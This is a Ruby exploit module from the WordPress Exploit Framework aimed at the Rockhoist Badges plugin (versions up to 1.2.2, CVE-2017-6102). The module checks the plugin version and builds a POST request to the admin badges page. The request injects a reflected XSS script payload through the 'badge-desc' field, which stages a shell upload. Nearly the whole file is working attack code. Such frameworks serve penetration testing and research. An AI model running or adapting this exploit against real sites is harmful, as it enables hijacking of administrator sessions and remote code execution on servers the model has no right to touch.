# frozen_string_literal: true

class Wpxf::Exploit::RockhoistBadgesReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Rockhoist Badges <= 1.2.2 Reflected XSS Shell Upload',
      author: [
        'Larry W. Cashdollar', # Disclosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8763'],
        ['CVE', '2017-6102'],
        ['URL', 'http://www.vapidlabs.com/advisory.php?v=176']
      ],
      date: 'Feb 20 2017'
    )
  end

  def check
    check_plugin_version_from_readme('rockhoist-badges', '1.2.3')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'edit.php?page=badges')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'add-badge-posted' => '1',
      'badge-name' => Utility::Text.rand_alpha(5),
      'badge-desc' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
      'badge-type' => 'gold'
    )
  end
end
